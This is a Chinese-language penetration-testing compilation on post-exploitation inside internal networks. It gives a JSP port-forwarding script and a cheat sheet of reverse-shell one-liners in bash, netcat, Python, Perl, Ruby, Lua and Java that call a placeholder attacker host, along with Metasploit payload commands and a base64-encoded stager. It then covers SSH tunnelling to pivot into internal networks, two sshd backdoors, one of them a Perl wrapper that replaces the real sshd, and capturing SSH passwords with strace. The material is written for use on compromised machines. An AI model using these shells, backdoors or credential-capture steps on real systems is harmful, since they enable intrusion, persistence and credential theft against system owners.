內網滲透合集(三)
jsp端口轉發
滲透過程中,由于windows和linux的差別以及運行語言環境的限制導致端口轉發經常出現問題。于是自己寫了個簡單的JSP的端口轉發腳本。仿造 LCX的功能,具有正向、反向、監聽三種模式。對于目前數量眾多的JAVA WEB網站來說,可以比較方便的實現端口轉發。
在這里發布出來,小伙伴們使用過程中,如果發現什么bug歡迎提交哈~
參數說明
/KPortTran.jsp? lip = local ip / 本地ip //一般為內網主機IP lp = local port / 本地端口 //一般為內網主機端口 rip = remote ip / 遠程ip //一般為外網連接者IP,或者內網其他主機 rp = remote port / 遠程端口 //一般為外網連接者端口 lp2 = local port2 / 本地端口2 //本地監聽轉發時的第二個端口 m = mode / 運行模式 //合法的值有:listen tran slave三種
運行模式
m = listen
需要參數:lp、lp2
該模式下,會在本地監聽兩個端口,相互轉發數據
m = tran
需要參數:lip、lp、rip、rp
該模式為正向轉發下,會在本地的lip上監聽lp端口,當有連接建立時,再連接rip的rp端口。并將lip的lp上接收到的數據發向rip主機的rp端口。
m = slave
需要的參數:lip、lp、rip、rp
該模式為反向轉發,會分別連接主機lip的lp端口 和 主機rip的rp端口。并轉發兩者數據,可用于內網反連。
注意事項:
某些server上使用時,可能由于編碼問題會報錯,請根據實際情況,更改代碼首行的編碼設置。
為了隱蔽,沒有設置錯誤信息返回。如果不能執行,請檢查一下參數。
測試截圖與源代碼:



腳本下載地址:http://pan.baidu.com/s/1eQjNPce
反彈shell
1) Bash
部分linux發行版中的Bash可以直接反彈一個shell到指定ip端口
bash -i >& /dev/tcp/x.x.x.x/2333 0>&1

2) NetCat
Netcat反彈shell也是常用兵器,經典命令參數-e
nc -e /bin/sh x.x.x.x 2333

但某些版本的nc沒有-e參數(非傳統版),則可使用以下方式解決
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f

或者本地監聽兩個端口,通過管道,一處輸入,一處輸出
nc x.x.x.x 2333|/bin/sh|nc x.x.x.x 2444

其他方式基本沿用以上思路,如將nc更換為telnet等
mknod backpipe p && telnet x.x.x.x 2333 0backpipe
3) PHP
PHP環境下反彈shell,過去我們通常用phpspy等shell自帶反彈即可,這里將其反彈部分代碼提取出來,訪問即可反彈到指定IP端口一個普通交互shell
下載地址:??http://pan.baidu.com/s/10QWyi
訪問,成功返回

但需要注意php需未禁用exec函數.另外,Metasploit的payload也提供各種反彈腳本,如
msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php
生成文件內容像這樣

將文件傳入shell中,在msf中開一個handler
msf > use multi/handler msf exploit(handler) > set PAYLOAD php/reverse_php msf exploit(handler) > set LHOST x.x.x.x msf exploit(handler) > set LPORT 2333 msf exploit(handler) > exploit
此時訪問re.php,即可反彈到本地一個shell

當然,用nc直接監聽端口也是可以的
其他可以考慮使用msf編碼變形等,github也有這樣一個腳本
https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php
可供參考
4) JSP
JSP類似,使用msf生成一個反彈shell
msfpayload java/jsp_shell_reverse_tcp LHOST=x.x.x.x R > re.jsp
然后在msf中開一個handler
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp msf exploit(handler) > set LHOST 192.168.10.1 msf exploit(handler) > exploit
類似方法即可反彈回shell
5) Python
一個Python反彈shell的代碼demo
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

整潔規范的Python寫法應該像是這樣,更易懂些:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
其他腳本像這樣子
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))while 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
msf的payload給出這樣的解法
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333
生成編碼后文件:
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMC4wLjAuMCcsMjMzMykpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YoNDA5NikKd2hpbGUgbGVuKGQpIT1sOgoJZCs9cy5yZWN2KDQwOTYpCmV4ZWMoZCx7J3MnOnN9KQo='))
Base64解碼后:
import socket,struct
s=socket.socket(2,1)
s.connect(('x.x.x.x',2333))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
d+=s.recv(4096)
exec(d,{'s':s})
此處補充上phith0n同學的正向連接bind_shell
關于交互式正向連接shell,幾點需要注意的地方
1.不管在linux還是windows下,想要做到交互式,只能開啟一個shell.不能夠每次接收到命令就再開啟一個shell進程,然后執行.
2.windows下cmd.exe /K參數是保持cmd不結束,/c參數是執行完后就結束,注意區別.
最終Win版本:
from socket import *
import subprocess
import os, threading
def send(talk, proc):
import time
while True:
msg = proc.stdout.readline()
talk.send(msg)
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',23333))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
t = threading.Thread(target = send, args = (talk, proc))
t.setDaemon(True)
t.start()
while True:
cmd=talk.recv(1024)
proc.stdin.write(cmd)
proc.stdin.flush()
server.close()
Linux版本:
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"],stdin=talk,stdout=talk, stderr=talk, shell=True)
執行后主動連接即可

6) Perl
首先給一個原理類似的腳本
perl -e 'use Socket;$i="x.x.x,x";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
然后是一個不依賴調用/bin/bash的方法
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
一個完整的反彈pl腳本
下載地址:http://pan.baidu.com/s/1pJkRws7
7) Ruby
慣例,首先一個調用/bin/sh的
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
一個不依賴于/bin/sh的反彈shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Windows環境使用
ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
此外MSF中也有相應模塊可以調用,就不多提
8) Java
給出一個調用/bin/bash的腳本
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/2333;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
MSF中也有相應模塊可以調用
9) Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"
類似不做解釋
0x02 端口轉發
上面總結反彈shell的各種已知主流或非主流方式,下面扯一下端口轉發.
已知的大眾方式如:
- lcx老牌工具
- htran/fport/fpipe等
- antifw修改3389端口為80
- reduh提供了借助http/https隧道連接3389的另一種方式
- tunna給出了比reduh更穩定快速的解決方法
在Linux環境下,則可考慮借助腳本實現,如Perl/Python等.
知道創宇Knownsec曾給出一個rtcp.py腳本做轉發之用,不過測試發現只支持單點連接,推薦使用此腳本,支持多client同時連接
腳本下載地址:http://pan.baidu.com/s/1qWQgOaC
使用方式如
python xxx.py -l 0.0.0.0 -p 3389 -r x.x.x.x -P 443
至于Perl腳本,網絡中也有相關資料,大家可自行修改使用.
0x03 開放代理
如果對目標服務器已獲得較高權限,可添加vpn或socks代理,ringzero@557.im寫的
一個可用socks.py腳本可以更易的完成socks代理添加
使用方式如:
nohup python s5.py 1080 &
只有Webshell的情況下,又需要對內網某web服務進行訪問測試,但沒有充足的精力手工借助webshell進行請求,需要將這一過程自動化,xsjswt給出這樣一種思路.
將如下腳本以shell權限丟至服務器
http://pan.baidu.com/s/1FeeKm
另搭建一nginx服務器,添加如下配置
server {
listen 監聽端口;
location ~ () {
proxy_pass http://shell-ip/文件存放目錄/proxy.php?url=http://$host/$request_uri;
proxy_set_header Host "訪問webshell所用域名";
}
}
重新加載nginx配置,本地瀏覽器http代理設置為nginx服務器ip及監聽端口,即可實現初步的代理請求.
SSH端口中轉全攻略
-L參數
ssh -L5432:host_A:12345 ApacheServer@host_B
作用:將本地機(客戶機)的某個端口轉發到遠端指定機器的指定端口.
工作原理:本地機器上分配了一個 socket 偵聽 port 端口(5432端口), 一旦這個端口上有了連接, 該連接就經過本地計算機與遠程計算機host_B的安全通道轉發出去, 此時本地主機與遠程主機之間的通信是加密的。同時遠程主機host_B和 host_A 的 hostport 端口(12345端口)建立連接,此時遠程主機host_B與目標主機host_A的通信是沒有加密的。
操作如下: 在遠程主機用netcat監聽12345端口,執行命令使遠程主機的12345端口與本地的5432端口相連(注意操作的順序問題,為了和下面的-R參數做區分)

這個時候telnet本地的5432端口,就相當于接到了遠程主機的12345端口上:

應用場景一:
在本地主機上執行以下的命令,你想要訪問受限網站staff.washington.edu,通過homer.u這臺被你控制的主機進行中轉:
ssh -L3210:staff.washington.edu:80 some-server
我們在瀏覽器上打開http://localhost:3210/corey/info.cgi 就相當于訪問http://staff.washington.edu:80/corey/info.cgi
應用場景二:
你拿下了目標的一臺業務系統的服務器,剛好這臺服務器host_A能夠與外網主機通信,也能訪問內網主機host_B:
ssh -L3210:host_B:80 host_A
此時即可通過訪問本地的3210端口來訪問到目標機子上的80端口,便可以進行內網滲透了。
-D參數
ssh2 -L socks/3210 homer.u # if using commercial ssh2
ssh -2 -D 3210 homer.u # if using a recent OpenSSH
作用:充當本地soscks服務器
工作原理:指定一個本地機器 “動態的” 應用程序端口轉發. 先 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 根據應用程序的協議可以判斷出遠程主機將和哪里連接..而且本地主機與遠程主機之間的通信是加密的。
瀏覽器設置socks代理:

成功突破GFW的限制:

應用場景:可以干什么不用我說了吧!
-R參數
ssh -R4567:localhost:80 some-server
作用:將本地端指定機器的指定端口轉發到遠程主機(服務器)的某個端口
工作原理: 遠程主機上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉向出去, 同時本地主機和 host 的 hostport 端口建立連接.
操作如下:使用netcat在本地監聽12345端口,在使用命令將本地12345端口反向連接到遠程主機的5432端口上

此時Telnet遠程主機的5432端口,即可連接到本地主機的12345端口上:

其實-R和-L參數的原理差不多,我手繪了一張圖幫助大家理解一下(不要嫌丑啊,看懂就行):

從上面的圖可以看出,-R參數和-L參數的應用場景是一模一樣的,區別有兩點:第一是執行命令的地方,第二是中轉主機的條件限制,中轉主機一般就是我們在滲透中獲得的“口子”(滲透的入口,一般是web業務應用系統),根據口子的條件限制,我們采用的中轉方式也不同:
-L參數使用于中轉機能與外網直接相連,沒有防火墻的限制,并且中轉機有雙網卡,能夠直達內網。當然,這種情況在滲透中極其少見,一般遇到一臺就偷笑了。(不過在更大型的網絡結構中,找到具有雙網卡的內網主機,往往是滲透的突破口)。
我們經常與到的場景是,業務服務器部署在DMZ區,甚至部署在內網區域。通過路由器的端口映射將業務端口映射到外網供用戶訪問。拿到“口子”之后,中轉主 機具有內網IP。這個時候,-R參數就起作用了。通過反向連接,將內網的流量中轉到外網的肉雞上,然后再進行下一步的滲透攻擊。
其他參數
-f Fork into background after authentication.
后臺認證用戶/密碼,通常和-N連用,不用登錄到遠程主機。
-N Do not execute a shell or command.
不執行腳本或命令,通常與-f連用。
-C Enable compression.
壓縮數據傳輸。
-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D參數中,允許遠程主機連接到建立的轉發的端口,如果不加這個參數,只允許本地主機建立連接。
滲透技巧之SSH篇
入侵得到SHELL后,對方防火墻沒限制,想快速開放一個可以訪問的SSH端口
肉雞上執行:
mickey@vic:~# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
就會派生一個31337端口,然后連接31337,用root/bin/ftp/mail當用戶名,密碼隨意,就可登陸。

做一個SSH wrapper后門,效果比第一個好,沒有開放額外的端口,只要對方開了SSH服務,就能遠程連接
在肉雞上執行:
[root@localhost ~]# cd /usr/sbin
[root@localhost sbin]# mv sshd ../bin
[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd
[root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
[root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[root@localhost sbin]# chmod u+x sshd
[root@localhost sbin]# /etc/init.d/sshd restart
在本機執行:
socat STDIO TCP4:10.18.180.20:22,sourceport=13377
如果你想修改源端口,可以用python的struct標準庫實現
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
記錄SSH客戶端連接密碼
搞定主機后,往往想記錄肉雞SSH連接到其他主機的密碼,進一步擴大戰果,使用strace命令就行了。
效果圖:
